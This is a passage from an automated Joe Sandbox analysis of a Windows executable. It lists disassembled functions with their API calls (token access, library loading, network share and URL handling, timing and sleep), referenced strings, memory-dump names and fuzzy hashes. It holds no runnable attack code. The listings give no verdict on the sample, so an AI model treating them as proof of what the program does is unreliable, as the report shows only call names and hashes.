GetLastError.KERNEL32(?,003E301A,003B13C6,00000000,00000000,00000000,?,003E328B,00000006,FlsSetValue,00452290,FlsSetValue,00000000,00000364,?,003E2E46), ref: 003E30B1
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,003E301A,003B13C6,00000000,00000000,00000000,?,003E328B,00000006,FlsSetValue,00452290,FlsSetValue,00000000), ref: 003E30BF

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: fa1d66bcee84a6aa63de95b33409c228ae257449272b24009c784b2b31dffc11
Instruction ID: 8a8a5d67b9c686b8ef53282c85fd65dfb15f3e18f91e82c5ac53c953344ec01f
Opcode Fuzzy Hash: fa1d66bcee84a6aa63de95b33409c228ae257449272b24009c784b2b31dffc11
Instruction Fuzzy Hash: 4701FC36743272ABCB328B7A9C889677798AF45761B150730F907D31D0C721DD01C6D4

Function 00417464 Relevance: 6.1, APIs: 4, Instructions: 51registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000), ref: 0041747F
LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 00417497
RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 004174AC
RegisterTypeLibForUser.OLEAUT32(?,?,00000000), ref: 004174CA

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: 8111b6e9f28d3a874b165e38adaa58776e1b9bfdb59c32aa77c3af175eeb43f7
Instruction ID: 9a439bf19d1033e49576d59771b13c3360cd04d8be62cbc390d002fca057ef9e
Opcode Fuzzy Hash: 8111b6e9f28d3a874b165e38adaa58776e1b9bfdb59c32aa77c3af175eeb43f7
Instruction Fuzzy Hash: DC11A1B5306310ABE7208F14DD48BD27BFCEB00B00F10856AE656D6151DB78E984DB99

Function 0041B0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0041ACD3,?,00008000), ref: 0041B0C4
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0041ACD3,?,00008000), ref: 0041B0E9
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0041ACD3,?,00008000), ref: 0041B0F3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0041ACD3,?,00008000), ref: 0041B126

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 3407d1d6c6ac7ce9d64b82cee26ff36ec9d561f51d8dd1de6e6b769ad9a89841
Instruction ID: dd7a18f773df3246c5ae0bf46a42d2e7358ec3517df4d7e01ee14a81200d0fbd
Opcode Fuzzy Hash: 3407d1d6c6ac7ce9d64b82cee26ff36ec9d561f51d8dd1de6e6b769ad9a89841
Instruction Fuzzy Hash: 5511C430C0151CE7CF009FE4D9986EEBF78FF0A310F114096D941B2241CB345590CB99

Function 00447E14 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00447E33
ScreenToClient.USER32(?,?), ref: 00447E4B
ScreenToClient.USER32(?,?), ref: 00447E6F
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00447E8A

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: 4448fc0efb069762437dc8f56004c37b830d067c7a0081196bc7d7c906449061
Instruction ID: 38342802c12f7af3a32732cbc19f17a666415e4151a33d8bc406833f0a7c712f
Opcode Fuzzy Hash: 4448fc0efb069762437dc8f56004c37b830d067c7a0081196bc7d7c906449061
Instruction Fuzzy Hash: 341153B9D0020AAFDB41CF98C884AEEBBF9FF09310F509166E915E3210D735AA55CF94

Function 00412DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00412DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 00412DD6
GetCurrentThreadId.KERNEL32 ref: 00412DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00412DE4

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 5fd2203c994046baaf6b1375e09a45c131685cf33a365c48c11bbfbb118db1de
Instruction ID: 1c528e1f7c6665b8eeef3df7f5d374f915a074fe75b0c34113ae9e298c57c5e2
Opcode Fuzzy Hash: 5fd2203c994046baaf6b1375e09a45c131685cf33a365c48c11bbfbb118db1de
Instruction Fuzzy Hash: 2EE092752422287BD7601BB2EC4DFEB3E6CEF43BA1F054026F105D10809AE4C881C6B5

Function 00448863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 003C9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 003C9693
Part of subcall function 003C9639: SelectObject.GDI32(?,00000000), ref: 003C96A2
Part of subcall function 003C9639: BeginPath.GDI32(?), ref: 003C96B9
Part of subcall function 003C9639: SelectObject.GDI32(?,00000000), ref: 003C96E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00448887
LineTo.GDI32(?,?,?), ref: 00448894
EndPath.GDI32(?), ref: 004488A4
StrokePath.GDI32(?), ref: 004488B2

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: a54186c9bce0998b0be02697a6123a421f04c66a525b0df4dd7247c3fa227eda
Instruction ID: 4b36283c8f84d48bdea9bdb0c23fe4879a12af866c8fb08b3601e320ddc2387b
Opcode Fuzzy Hash: a54186c9bce0998b0be02697a6123a421f04c66a525b0df4dd7247c3fa227eda
Instruction Fuzzy Hash: 47F05E3A042258FAEB126F94AC0EFCE3F59AF06310F088115FA11651E2C7795521CFED

Function 003C98B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 003C98CC
SetTextColor.GDI32(?,?), ref: 003C98D6
SetBkMode.GDI32(?,00000001), ref: 003C98E9
GetStockObject.GDI32(00000005), ref: 003C98F1

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: f6ecdc5c4fadf559a95904fa525c19e45e0b4b8b4357aacf0831acce4e7a6a1d
Instruction ID: 947555c1834e5d29c6a72ca00af1b4168b1b3d30ed008e04df4955449073627a
Opcode Fuzzy Hash: f6ecdc5c4fadf559a95904fa525c19e45e0b4b8b4357aacf0831acce4e7a6a1d
Instruction Fuzzy Hash: 7AE06D35645280AAEB615B74AC49BE93F20AB16336F08822AF6FAA80E1C77156409F15

Function 0041162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00411634
OpenThreadToken.ADVAPI32(00000000,?,?,?,004111D9), ref: 0041163B
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,004111D9), ref: 00411648
OpenProcessToken.ADVAPI32(00000000,?,?,?,004111D9), ref: 0041164F

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: c9b08777db38089fd4b3cdb26b803d8cdf5b6760ce6afd0d8ca3db090257209f
Instruction ID: df22b63f708e1ace97a271780b6bc4a5d7edb851701630e73835236ca25e7665
Opcode Fuzzy Hash: c9b08777db38089fd4b3cdb26b803d8cdf5b6760ce6afd0d8ca3db090257209f
Instruction Fuzzy Hash: 69E08635603211DBD7B01FE09D4DB873B7CAF567D1F184829F746C90A0DA784480CB98

Function 0040D858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0040D858
GetDC.USER32(00000000), ref: 0040D862
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0040D882
ReleaseDC.USER32(?), ref: 0040D8A3

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 3e09f71f57b052ec6dc26828db4eebb31d8eb9d0c954271ad97e847bdfc366a4
Instruction ID: f7d7f422bcd9922e7c332ea9d5299ffecb1caee43761c75a6e0714cb7b412032
Opcode Fuzzy Hash: 3e09f71f57b052ec6dc26828db4eebb31d8eb9d0c954271ad97e847bdfc366a4
Instruction Fuzzy Hash: 3DE01275801204DFCB919FE0D848A6DBBB5FB09310F15D069F806E7250CB3849029F44

Function 0040D86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0040D86C
GetDC.USER32(00000000), ref: 0040D876
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0040D882
ReleaseDC.USER32(?), ref: 0040D8A3

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 4332353670b8da1c4bfab3ef3aba947c43dcd66343f85549bae6bd1e68742fe4
Instruction ID: 4f1cf93a8abd32487a6799fe9d7babdcb0ebb0ddfd837361c192aa5d9754644f
Opcode Fuzzy Hash: 4332353670b8da1c4bfab3ef3aba947c43dcd66343f85549bae6bd1e68742fe4
Instruction Fuzzy Hash: E4E04F78C01200DFCF919FA0D84C66DBBB5FB08310F199068F906E7260CB3859029F44

Function 00424D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 003B7620: _wcslen.LIBCMT ref: 003B7625

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00424ED4

Strings

LPT, xrefs: 00424DFB
*, xrefs: 00424E10

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: 57ae2c5235539d212fbdcc52901c3b8801db9d905e40f3e1316bb606726cde2d
Instruction ID: e0e7a12d1a7158edb8775b9e7d79424e90ef94f36657e469fbb257259cbee649
Opcode Fuzzy Hash: 57ae2c5235539d212fbdcc52901c3b8801db9d905e40f3e1316bb606726cde2d
Instruction Fuzzy Hash: 1591D275A002149FCB14DF54D580EAABBF1FF84308F59809AE40A9F7A2C735ED85CB95

Function 003DE27D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 003DE30D

Strings

pow, xrefs: 003DE2E5, 003DE302

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 1694476fbc1cb30825190e26dc82832464ba57aad0ac568c431f013ea326610b
Instruction ID: f0f33a80e1e0ff7aad2f0c23fc359726c0a32c91ff9602ee287eebbbcdd582f1
Opcode Fuzzy Hash: 1694476fbc1cb30825190e26dc82832464ba57aad0ac568c431f013ea326610b
Instruction Fuzzy Hash: 6C518063A0C242D6CB177715ED013BA3FA8EB40741F354FAAE0D54A3E9EB348C959A46

Function 00437771 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(0040569E,00000000,?,0044CC08,?,00000000,00000000), ref: 004378DD

Part of subcall function 003B6B57: _wcslen.LIBCMT ref: 003B6B6A

CharUpperBuffW.USER32(0040569E,00000000,?,0044CC08,00000000,?,00000000,00000000), ref: 0043783B

Strings

<sG, xrefs: 004377C8

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: BuffCharUpper$_wcslen
String ID: <sG
API String ID: 3544283678-1050295264
Opcode ID: 679a9d4c81786af70005faa3cff9e3c85eb7d5bc15de2c8b44125a4c4ea802ad
Instruction ID: 9fe0dfd1fb9c4d5e659e08563d658f213539c9e11900d83ab0899e6adce3f2bb
Opcode Fuzzy Hash: 679a9d4c81786af70005faa3cff9e3c85eb7d5bc15de2c8b44125a4c4ea802ad
Instruction Fuzzy Hash: E16171B6914118EACF16FBA4CC91EFEB3B4BF18304F545126F642BB151EF285A05CBA4

Function 003CE187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 003CE1B1

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 63f47d6872717ee27082d8f5eeb9b1f7765c7c60c79f1616360788abfc09bad6
Instruction ID: a90e83f4d04e4d7070c43c42b97e420206767e12f8789e0ebacbd34c9a1de58f
Opcode Fuzzy Hash: 63f47d6872717ee27082d8f5eeb9b1f7765c7c60c79f1616360788abfc09bad6
Instruction Fuzzy Hash: 8C513636500246DFDB16EF25C081BFA7BA8EF15310F24486AEC91EB2D0D7389D52CB55

Function 003CF291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 003CF2A2
GlobalMemoryStatusEx.KERNEL32(?), ref: 003CF2BB

Strings

@, xrefs: 003CF2AF

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 2fee00b0d15564182be6db4a5720c51d249d3018f122003df6d24cc8b322cd92
Instruction ID: bfb375b60aa4a0ea9cad1a3b7a591beaf9dde7ee0f8969a6d67a51f67d8e7d3e
Opcode Fuzzy Hash: 2fee00b0d15564182be6db4a5720c51d249d3018f122003df6d24cc8b322cd92
Instruction Fuzzy Hash: 805135714187449BD321AF10DC86BAFBBF8FB84708F81885DF2D9851A5EB708529CB67

Function 00435745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000003,?,?), ref: 004357E0
_wcslen.LIBCMT ref: 004357EC

Strings

CALLARGARRAY, xrefs: 004357E6, 004357EB

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: 6bced25df164fb6fe032a2c38659a1e3dd06498394294acc9d500d83cb000c63
Instruction ID: f80ec9d5e367b4c9e6fffeb5711a1b7f93bd6f93e2c96419de7c0ac17d4d8aa7
Opcode Fuzzy Hash: 6bced25df164fb6fe032a2c38659a1e3dd06498394294acc9d500d83cb000c63
Instruction Fuzzy Hash: 5941A131A002099FCB18EFA9C8819FEBBB5EF59314F14506EE505AB351E7389D81CB94

Function 0042D0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0042D130
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 0042D13A

Strings

|, xrefs: 0042D10B

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: 9b4be7decc359f3ae970fda2941830ba859496008d7e9d3a8628b03833d646ad
Instruction ID: 340c529b118116b8903075c5f721a1572a58d39e9ae80a642ee46f1dc73c461b
Opcode Fuzzy Hash: 9b4be7decc359f3ae970fda2941830ba859496008d7e9d3a8628b03833d646ad
Instruction Fuzzy Hash: DB313E75D00219ABCF15EFA4DD85AEF7FB9FF04304F10001AF915AA262D735A916CB54

Function 0044356C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00443621
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 0044365C

Strings

static, xrefs: 004435BC

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: eaba90bd4a0c3fc37ba4f7e0918bf6a5f965fe31b9f284db26751ae1fd4db065
Instruction ID: b9ce9af34ebb4af0d4c340d4d17eb70bb7ccec0aadcd5e24de4f4c0d06f0f0fa
Opcode Fuzzy Hash: eaba90bd4a0c3fc37ba4f7e0918bf6a5f965fe31b9f284db26751ae1fd4db065
Instruction Fuzzy Hash: 9731A171100204AAEB20DF24DC81EFB73A9FF48B24F01861EF9A597280DA34AD81C768

Function 003C97C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

Part of subcall function 003C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 003C9BB2

Part of subcall function 003C9944: GetWindowLongW.USER32(?,000000EB), ref: 003C9952

GetParent.USER32(?), ref: 004073A3
DefDlgProcW.USER32(?,00000133,?,?,?,?), ref: 0040742D

Strings

8Y, xrefs: 003C980F, 004073D2, 004073F9

Memory Dump Source

